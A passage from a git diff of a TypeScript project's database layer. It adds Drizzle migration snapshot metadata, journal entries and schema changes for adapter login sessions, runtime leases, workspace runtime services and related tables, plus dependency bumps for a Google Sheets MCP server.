+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_operations_company_workspace_issue_started_idx": {
+          "name": "workspace_operations_company_workspace_issue_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "workspace_operations_company_id_companies_id_fk": {
+          "name": "workspace_operations_company_id_companies_id_fk",
+          "tableFrom": "workspace_operations",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "workspace_operations_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "workspace_operations_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "workspace_operations",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_operations_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "workspace_operations_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "workspace_operations",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_operations_issue_id_issues_id_fk": {
+          "name": "workspace_operations_issue_id_issues_id_fk",
+          "tableFrom": "workspace_operations",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.workspace_runtime_services": {
+      "name": "workspace_runtime_services",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_workspace_id": {
+          "name": "project_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "scope_type": {
+          "name": "scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "service_name": {
+          "name": "service_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "lifecycle": {
+          "name": "lifecycle",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "reuse_key": {
+          "name": "reuse_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "command": {
+          "name": "command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cwd": {
+          "name": "cwd",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "port": {
+          "name": "port",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "url": {
+          "name": "url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_ref": {
+          "name": "provider_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_by_run_id": {
+          "name": "started_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "stopped_at": {
+          "name": "stopped_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "stop_policy": {
+          "name": "stop_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "exposure": {
+          "name": "exposure",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "exposure_handle": {
+          "name": "exposure_handle",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "backend_url": {
+          "name": "backend_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "workspace_runtime_services_company_workspace_status_idx": {
+          "name": "workspace_runtime_services_company_workspace_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_runtime_services_company_execution_workspace_status_idx": {
+          "name": "workspace_runtime_services_company_execution_workspace_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_runtime_services_company_project_status_idx": {
+          "name": "workspace_runtime_services_company_project_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_runtime_services_run_idx": {
+          "name": "workspace_runtime_services_run_idx",
+          "columns": [
+            {
+              "expression": "started_by_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_runtime_services_company_updated_idx": {
+          "name": "workspace_runtime_services_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "workspace_runtime_services_company_id_companies_id_fk": {
+          "name": "workspace_runtime_services_company_id_companies_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_project_id_projects_id_fk": {
+          "name": "workspace_runtime_services_project_id_projects_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_project_workspace_id_project_workspaces_id_fk": {
+          "name": "workspace_runtime_services_project_workspace_id_project_workspaces_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "project_workspaces",
+          "columnsFrom": [
+            "project_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "workspace_runtime_services_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_issue_id_issues_id_fk": {
+          "name": "workspace_runtime_services_issue_id_issues_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_owner_agent_id_agents_id_fk": {
+          "name": "workspace_runtime_services_owner_agent_id_agents_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_started_by_run_id_heartbeat_runs_id_fk": {
+          "name": "workspace_runtime_services_started_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "started_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    }
+  },
+  "enums": {},
+  "schemas": {},
+  "sequences": {},
+  "roles": {},
+  "policies": {},
+  "views": {},
+  "_meta": {
+    "columns": {},
+    "schemas": {},
+    "tables": {}
+  }
+}
\ No newline at end of file
diff --git a/packages/db/src/migrations/meta/_journal.json b/packages/db/src/migrations/meta/_journal.json
index 60fe61223c8..ad20808a4ad 100644
--- a/packages/db/src/migrations/meta/_journal.json
+++ b/packages/db/src/migrations/meta/_journal.json
@@ -1513,6 +1513,69 @@
       "when": 1786643974972,
       "tag": "0217_yielding_starbolt",
       "breakpoints": true
+    },
+    {
+      "idx": 218,
+      "version": "7",
+      "when": 1786711898729,
+      "tag": "0218_mushy_jack_murdock",
+      "breakpoints": true
+    },
+    {
+      "idx": 219,
+      "version": "7",
+      "when": 1786711898730,
+      "tag": "0219_runtime_service_exposure",
+      "breakpoints": true
+    },
+    {
+      "idx": 220,
+      "version": "7",
+      "when": 1786711898731,
+      "tag": "0220_execution_workspace_runtime_leases",
+      "breakpoints": true
+    },
+    {
+      "idx": 221,
+      "version": "7",
+      "when": 1786983881320,
+      "tag": "0221_swift_justin_hammer",
+      "breakpoints": true
+    },
+    {
+      "idx": 222,
+      "version": "7",
+      "when": 1786983999395,
+      "tag": "0222_orphan_cleanup_env_reference_survives_delete",
+      "breakpoints": true
+    },
+    {
+      "idx": 223,
+      "version": "7",
+      "when": 1787000753489,
+      "tag": "0223_robust_zaladane",
+      "breakpoints": true
+    },
+    {
+      "idx": 224,
+      "version": "7",
+      "when": 1787000754489,
+      "tag": "0224_unified_adapter_auth_sessions",
+      "breakpoints": true
+    },
+    {
+      "idx": 225,
+      "version": "7",
+      "when": 1787101144413,
+      "tag": "0225_drop_claude_setup_token_sessions",
+      "breakpoints": true
+    },
+    {
+      "idx": 226,
+      "version": "7",
+      "when": 1787261199301,
+      "tag": "0226_tan_colossus",
+      "breakpoints": true
     }
   ]
 }
\ No newline at end of file
diff --git a/packages/db/src/schema/adapter_auth_sessions.ts b/packages/db/src/schema/adapter_auth_sessions.ts
index cbdfc4c9f23..02f4851c712 100644
--- a/packages/db/src/schema/adapter_auth_sessions.ts
+++ b/packages/db/src/schema/adapter_auth_sessions.ts
@@ -1,13 +1,47 @@
 import { sql } from "drizzle-orm";
-import { index, pgTable, text, timestamp, uniqueIndex, uuid } from "drizzle-orm/pg-core";
+import { index, pgTable, text, timestamp, uniqueIndex, uuid, varchar } from "drizzle-orm/pg-core";
 import type { AdapterAuthSessionInternalStatus, AgentAdapterType } from "@paperclipai/shared";
 import { companies } from "./companies.js";
 import { environments } from "./environments.js";
 
+// The merged state set for the unified login table. One column holds the state
+// of both login flows: the device-login flow and the setup-token flow. The set
+// joins the two prior state unions into one union. The set drops the dead
+// `persisting` state.
+//
+// The active states hold the company credential slot for one company, owner, and
+// adapter. The partial unique index applies to the active states only.
+//   - `starting`, `waiting_for_user`, `promoting`: the device-login active states.
+//   - `awaiting_code`, `submitting`: the setup-token active states.
+// The non-active states do not hold the slot:
+//   - `stored`: the one-time setup-token claim. The create path consumes it and
+//     writes `bound_at`.
+//   - `authenticated`, `completed`: the terminal success states.
+//   - `cleanup_pending`: the terminal state whose sandbox delete failed.
+//   - `failed`, `timed_out`, `cancelled`: the shared terminal failure states.
+export type AdapterAuthSessionState =
+  | AdapterAuthSessionInternalStatus
+  | "awaiting_code"
+  | "submitting"
+  | "stored"
+  | "completed";
+
+// The active states of the merged set. The partial unique index and the store
+// use this list. The list excludes `stored`, every terminal state, and the
+// removed `persisting` state.
+export const ADAPTER_AUTH_SESSION_ACTIVE_STATES = [
+  "starting",
+  "waiting_for_user",
+  "promoting",
+  "awaiting_code",
+  "submitting",
+] as const satisfies readonly AdapterAuthSessionState[];
+
 // The durable store for an adapter login session. One row tracks one login
 // attempt for one adapter in one environment. The row keeps the owner principal,
-// the provider lease reference, the status, and the finish times. The row never
-// stores the prompt, a credential byte, or the raw provider secret.
+// the public session id, the provider lease reference, the status, and the
+// finish times. The row never stores the prompt, a credential byte, or the raw
+// provider secret.
 export const adapterAuthSessions = pgTable(
   "adapter_auth_sessions",
   {
@@ -17,12 +51,20 @@ export const adapterAuthSessions = pgTable(
     adapterType: text("adapter_type").$type<AgentAdapterType>().notNull(),
     // The immutable owner principal. The service sets this column one time at
     // create and never updates it. The service returns the prompt only to this
-    // owner.
+    // owner. The active-slot index includes this column, so the column stays
+    // non-null; a null owner escapes a partial unique index.
     startedByUserId: text("started_by_user_id").notNull(),
+    // The opaque public session id. The public API returns this id, and the
+    // store keys its lookups by it. The column is non-null, length-bounded, and
+    // unique. The store fills it at create with a CSPRNG value.
+    publicSessionId: varchar("public_session_id", { length: 128 }).notNull(),
     // The provider lease reference for the sandbox. The reaper reads it to retry
     // a failed sandbox delete. It is not a public field.
     providerLeaseId: text("provider_lease_id"),
-    status: text("status").$type<AdapterAuthSessionInternalStatus>().notNull().default("starting"),
+    // The merged login state. The column is `text`, so it stores every value of
+    // the merged `AdapterAuthSessionState` set. The compile-time `$type` is the
+    // merged union, so both login stores share one status type.
+    status: text("status").$type<AdapterAuthSessionState>().notNull().default("starting"),
     expiresAt: timestamp("expires_at", { withTimezone: true }),
     // The promotion claim deadline. The service sets this column when it moves the
     // row to `promoting`. While the deadline is in the future, the claim is live,
@@ -31,6 +73,11 @@ export const adapterAuthSessions = pgTable(
     // stalled `promoting` row. The service clears the column on every terminal
     // transition.
     promotionExpiresAt: timestamp("promotion_expires_at", { withTimezone: true }),
+    // The claim-consumption marker for a `stored` row. The column is null while
+    // the stored claim is live. The create path sets it one time when it consumes
+    // the claim. A non-null value marks a consumed claim, so the reaper removes
+    // the row. A device-login row never sets this column.
+    boundAt: timestamp("bound_at", { withTimezone: true }),
     finishedAt: timestamp("finished_at", { withTimezone: true }),
     // The fixed, non-secret failure code. The public response reads it.
     failureReason: text("failure_reason"),
@@ -43,11 +90,19 @@ export const adapterAuthSessions = pgTable(
       table.status,
     ),
     // Serialize on the company credential slot. Only one active session can hold
-    // the slot per adapter. The index applies to the three active statuses. It
-    // does not include the owner or the environment; those stay columns only.
-    companyAdapterActiveUq: uniqueIndex("adapter_auth_sessions_company_adapter_active_uq")
-      .on(table.companyId, table.adapterType)
-      .where(sql`${table.status} IN ('starting', 'waiting_for_user', 'promoting')`),
+    // the slot per company, owner, and adapter. The index applies to the active
+    // states of the merged set. It does not include the environment; the board
+    // rule scopes the slot to the owner, not the environment.
+    companyOwnerAdapterActiveUq: uniqueIndex("adapter_auth_sessions_company_owner_adapter_active_uq")
+      .on(table.companyId, table.startedByUserId, table.adapterType)
+      .where(
+        sql`${table.status} IN ('starting', 'waiting_for_user', 'promoting', 'awaiting_code', 'submitting')`,
+      ),
+    // The public session id is unique across the table. The store keys its
+    // lookups by this id.
+    publicSessionIdUq: uniqueIndex("adapter_auth_sessions_public_session_id_uq").on(
+      table.publicSessionId,
+    ),
     environmentIdx: index("adapter_auth_sessions_environment_idx").on(table.environmentId),
     expiresIdx: index("adapter_auth_sessions_expires_idx").on(table.expiresAt),
     providerLeaseIdx: index("adapter_auth_sessions_provider_lease_idx").on(table.providerLeaseId),
diff --git a/packages/db/src/schema/agent_wakeup_requests.ts b/packages/db/src/schema/agent_wakeup_requests.ts
index 194e1732a32..a0888d9700b 100644
--- a/packages/db/src/schema/agent_wakeup_requests.ts
+++ b/packages/db/src/schema/agent_wakeup_requests.ts
@@ -40,6 +40,9 @@ export const agentWakeupRequests = pgTable(
     reviewPathRecoveryIdempotencyUq: uniqueIndex("agent_wakeup_requests_review_path_recovery_idempotency_uq")
       .on(table.companyId, table.idempotencyKey)
       .where(sql`${table.idempotencyKey} LIKE 'issue_review_path_lost:%' AND ${table.status} <> 'skipped'`),
+    dispositionRepairIdempotencyUq: uniqueIndex("agent_wakeup_requests_disposition_repair_idempotency_uq")
+      .on(table.companyId, table.idempotencyKey)
+      .where(sql`${table.idempotencyKey} LIKE 'issue_disposition_repair:%' AND ${table.status} <> 'skipped'`),
     companyPayloadIssueIdx: index("agent_wakeup_requests_company_payload_issue_idx").on(
       table.companyId,
       sql`(${table.payload} ->> 'issueId')`,
diff --git a/packages/db/src/schema/company_secret_proposals.ts b/packages/db/src/schema/company_secret_proposals.ts
index 5a278915236..7bcfd3c1e48 100644
--- a/packages/db/src/schema/company_secret_proposals.ts
+++ b/packages/db/src/schema/company_secret_proposals.ts
@@ -5,6 +5,7 @@ import { companies } from "./companies.js";
 import { companySecrets } from "./company_secrets.js";
 import { heartbeatRuns } from "./heartbeat_runs.js";
 import { issues } from "./issues.js";
+import { issueThreadInteractions } from "./issue_thread_interactions.js";
 
 export const companySecretProposals = pgTable(
   "company_secret_proposals",
@@ -32,6 +33,7 @@ export const companySecretProposals = pgTable(
     proposedByAgentId: uuid("proposed_by_agent_id").notNull().references(() => agents.id, { onDelete: "cascade" }),
     originIssueId: uuid("origin_issue_id").references(() => issues.id, { onDelete: "set null" }),
     originRunId: uuid("origin_run_id").notNull().references(() => heartbeatRuns.id, { onDelete: "cascade" }),
+    interactionId: uuid("interaction_id").references(() => issueThreadInteractions.id, { onDelete: "set null" }),
     resolvedByUserId: text("resolved_by_user_id"),
     resolvedAt: timestamp("resolved_at", { withTimezone: true }),
     resolutionReason: text("resolution_reason"),
@@ -47,6 +49,7 @@ export const companySecretProposals = pgTable(
     proposerStatusIdx: index("company_secret_proposals_proposer_status_idx").on(table.proposedByAgentId, table.status),
     expiryIdx: index("company_secret_proposals_expiry_idx").on(table.status, table.expiresAt),
     secretProposalIdx: index("company_secret_proposals_secret_proposal_idx").on(table.secretProposalId),
+    interactionIdx: index("company_secret_proposals_interaction_idx").on(table.interactionId),
     kindCheck: check("company_secret_proposals_kind_check", sql`${table.kind} in ('secret', 'binding')`),
     statusCheck: check("company_secret_proposals_status_check", sql`${table.status} in ('pending', 'approved', 'rejected', 'withdrawn', 'expired')`),
     projectionCheck: check("company_secret_proposals_projection_check", sql`${table.projectionClass} = 'unclassified'`),
diff --git a/packages/db/src/schema/environment_leases.ts b/packages/db/src/schema/environment_leases.ts
index ea01db2bd66..87819eabc71 100644
--- a/packages/db/src/schema/environment_leases.ts
+++ b/packages/db/src/schema/environment_leases.ts
@@ -10,7 +10,14 @@ export const environmentLeases = pgTable(
   {
     id: uuid("id").primaryKey().defaultRandom(),
     companyId: uuid("company_id").notNull().references(() => companies.id, { onDelete: "cascade" }),
-    environmentId: uuid("environment_id").notNull().references(() => environments.id, { onDelete: "cascade" }),
+    // A lease-less orphan sandbox is recorded here as a `pending_cleanup` row.
+    // That row is the only durable teardown reference the cleanup sweep has for
+    // the remote sandbox. So the environment reference must survive an
+    // environment delete: `on delete set null` keeps the row, and the sweep
+    // tears the orphan down from the row's immutable provider metadata. The
+    // column is nullable so an orphan the acquire records after a concurrent
+    // environment delete still persists with a null reference.
+    environmentId: uuid("environment_id").references(() => environments.id, { onDelete: "set null" }),
     executionWorkspaceId: uuid("execution_workspace_id").references(() => executionWorkspaces.id, { onDelete: "set null" }),
     issueId: uuid("issue_id").references(() => issues.id, { onDelete: "set null" }),
     heartbeatRunId: uuid("heartbeat_run_id").references(() => heartbeatRuns.id, { onDelete: "set null" }),
diff --git a/packages/db/src/schema/execution_workspace_runtime_leases.ts b/packages/db/src/schema/execution_workspace_runtime_leases.ts
new file mode 100644
index 00000000000..56d8f3039a2
--- /dev/null
+++ b/packages/db/src/schema/execution_workspace_runtime_leases.ts
@@ -0,0 +1,45 @@
+import { index, jsonb, pgTable, text, timestamp, uuid } from "drizzle-orm/pg-core";
+import { agents } from "./agents.js";
+import { companies } from "./companies.js";
+import { executionWorkspaces } from "./execution_workspaces.js";
+import { heartbeatRuns } from "./heartbeat_runs.js";
+import { issues } from "./issues.js";
+
+// One durable exclusivity row per execution workspace. The unique constraint on
+// execution_workspace_id is the atomicity anchor: concurrent claims from
+// different server processes serialize on it instead of on per-process state.
+export const executionWorkspaceRuntimeLeases = pgTable(
+  "execution_workspace_runtime_leases",
+  {
+    id: uuid("id").primaryKey().defaultRandom(),
+    companyId: uuid("company_id").notNull().references(() => companies.id, { onDelete: "cascade" }),
+    executionWorkspaceId: uuid("execution_workspace_id")
+      .notNull()
+      .unique()
+      .references(() => executionWorkspaces.id, { onDelete: "cascade" }),
+    // Durable owner identity (`issue:<uuid>` or `run:<uuid>`). Kept as text so the
+    // lease still identifies its owner after the FK columns are nulled out.
+    ownerKey: text("owner_key").notNull(),
+    ownerIssueId: uuid("owner_issue_id").references(() => issues.id, { onDelete: "set null" }),
+    ownerRunId: uuid("owner_run_id").references(() => heartbeatRuns.id, { onDelete: "set null" }),
+    ownerAgentId: uuid("owner_agent_id").references(() => agents.id, { onDelete: "set null" }),
+    lastAction: text("last_action").notNull(),
+    claimedAt: timestamp("claimed_at", { withTimezone: true }).notNull().defaultNow(),
+    renewedAt: timestamp("renewed_at", { withTimezone: true }).notNull().defaultNow(),
+    expiresAt: timestamp("expires_at", { withTimezone: true }).notNull(),
+    metadata: jsonb("metadata").$type<Record<string, unknown>>(),
+    createdAt: timestamp("created_at", { withTimezone: true }).notNull().defaultNow(),
+    updatedAt: timestamp("updated_at", { withTimezone: true }).notNull().defaultNow(),
+  },
+  (table) => ({
+    companyWorkspaceIdx: index("execution_workspace_runtime_leases_company_workspace_idx").on(
+      table.companyId,
+      table.executionWorkspaceId,
+    ),
+    companyOwnerIdx: index("execution_workspace_runtime_leases_company_owner_idx").on(
+      table.companyId,
+      table.ownerKey,
+    ),
+    expiresAtIdx: index("execution_workspace_runtime_leases_expires_at_idx").on(table.expiresAt),
+  }),
+);
diff --git a/packages/db/src/schema/index.ts b/packages/db/src/schema/index.ts
index 66114d8d047..ad878e2e830 100644
--- a/packages/db/src/schema/index.ts
+++ b/packages/db/src/schema/index.ts
@@ -29,6 +29,7 @@ export { projectMemberships } from "./project_memberships.js";
 export { documentMemberships } from "./document_memberships.js";
 export { projectWorkspaces } from "./project_workspaces.js";
 export { executionWorkspaces } from "./execution_workspaces.js";
+export { executionWorkspaceRuntimeLeases } from "./execution_workspace_runtime_leases.js";
 export { environments } from "./environments.js";
 export { environmentLeases } from "./environment_leases.js";
 export { environmentCustomImageTemplates } from "./environment_custom_image_templates.js";
diff --git a/packages/db/src/schema/issue_thread_interactions.ts b/packages/db/src/schema/issue_thread_interactions.ts
index 111960edb0a..54305983ea4 100644
--- a/packages/db/src/schema/issue_thread_interactions.ts
+++ b/packages/db/src/schema/issue_thread_interactions.ts
@@ -1,6 +1,8 @@
 import type {
+  IssueThreadInteractionCanonicalResolverPolicy,
+  IssueThreadInteractionEffectiveResolverPolicySource,
   IssueThreadInteractionPayload,
-  IssueThreadInteractionResolverPolicy,
+  IssueThreadInteractionResolverPolicyProvenance,
   IssueThreadInteractionResult,
 } from "@paperclipai/shared";
 import { sql } from "drizzle-orm";
@@ -21,13 +23,21 @@ export const issueThreadInteractions = pgTable(
     status: text("status").notNull().default("pending"),
     continuationPolicy: text("continuation_policy").notNull().default("wake_assignee"),
     requestedResolverPolicy: text("requested_resolver_policy")
-      .$type<IssueThreadInteractionResolverPolicy>()
+      .$type<IssueThreadInteractionCanonicalResolverPolicy>()
       .notNull()
-      .default("board_only"),
+      .default("anyone"),
     effectiveResolverPolicy: text("effective_resolver_policy")
-      .$type<IssueThreadInteractionResolverPolicy>()
+      .$type<IssueThreadInteractionCanonicalResolverPolicy>()
       .notNull()
-      .default("board_only"),
+      .default("anyone"),
+    resolverPolicyProvenance: text("resolver_policy_provenance")
+      .$type<IssueThreadInteractionResolverPolicyProvenance>()
+      .notNull()
+      .default("inherited"),
+    effectiveResolverPolicySource: text("effective_resolver_policy_source")
+      .$type<IssueThreadInteractionEffectiveResolverPolicySource>()
+      .notNull()
+      .default("requested"),
     idempotencyKey: text("idempotency_key"),
     sourceCommentId: uuid("source_comment_id").references(() => issueComments.id, { onDelete: "set null" }),
     sourceRunId: uuid("source_run_id").references(() => heartbeatRuns.id, { onDelete: "set null" }),
diff --git a/packages/db/src/schema/workspace_runtime_services.ts b/packages/db/src/schema/workspace_runtime_services.ts
index 150c332dec8..eda40ce3566 100644
--- a/packages/db/src/schema/workspace_runtime_services.ts
+++ b/packages/db/src/schema/workspace_runtime_services.ts
@@ -7,6 +7,7 @@ import {
   timestamp,
   uuid,
 } from "drizzle-orm/pg-core";
+import type { RuntimeExposureStatus } from "@paperclipai/shared";
 import { companies } from "./companies.js";
 import { projects } from "./projects.js";
 import { projectWorkspaces } from "./project_workspaces.js";
@@ -42,6 +43,15 @@ export const workspaceRuntimeServices = pgTable(
     startedAt: timestamp("started_at", { withTimezone: true }).notNull().defaultNow(),
     stoppedAt: timestamp("stopped_at", { withTimezone: true }),
     stopPolicy: jsonb("stop_policy").$type<Record<string, unknown>>(),
+    // Structured opt-in `tailscale_https` exposure state (PAP-17049/17050).
+    // Null when the service is not configured for HTTPS exposure. Modelled
+    // independently of process `status`/`healthStatus` so HTTPS provisioning /
+    // failure / cleanup surface separately from backend process health.
+    exposure: jsonb("exposure").$type<RuntimeExposureStatus | null>(),
+    // Server-private reservation/lease handle and backend readiness URL. These
+    // are deliberately never serialized to API clients.
+    exposureHandle: text("exposure_handle"),
+    backendUrl: text("backend_url"),
     healthStatus: text("health_status").notNull().default("unknown"),
     createdAt: timestamp("created_at", { withTimezone: true }).notNull().defaultNow(),
     updatedAt: timestamp("updated_at", { withTimezone: true }).notNull().defaultNow(),
diff --git a/packages/db/vitest.config.ts b/packages/db/vitest.config.ts
index f624398e8de..c1433e6ef38 100644
--- a/packages/db/vitest.config.ts
+++ b/packages/db/vitest.config.ts
@@ -3,5 +3,6 @@ import { defineConfig } from "vitest/config";
 export default defineConfig({
   test: {
     environment: "node",
+    include: ["src/**/*.test.ts"],
   },
 });
diff --git a/packages/google-sheets-mcp-server/package.json b/packages/google-sheets-mcp-server/package.json
index 1469f378e33..366b1471786 100644
--- a/packages/google-sheets-mcp-server/package.json
+++ b/packages/google-sheets-mcp-server/package.json
@@ -46,12 +46,15 @@
   },
   "dependencies": {
     "@modelcontextprotocol/sdk": "^1.30.0",
-    "googleapis": "^164.1.0",
-    "zod": "^3.24.2"
+    "googleapis": "^174.0.1",
+    "zod": "^4.4.3"
   },
   "devDependencies": {
-    "@types/node": "^22.20.1",
+    "@types/node": "^24.0.0",
     "typescript": "^5.7.3",
     "vitest": "^4.1.10"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/google-sheets-mcp-server/src/tools.ts b/packages/google-sheets-mcp-server/src/tools.ts
index c084f65e469..1054317781e 100644
--- a/packages/google-sheets-mcp-server/src/tools.ts
+++ b/packages/google-sheets-mcp-server/src/tools.ts
@@ -7,7 +7,7 @@ export type ToolResult = CallToolResult;
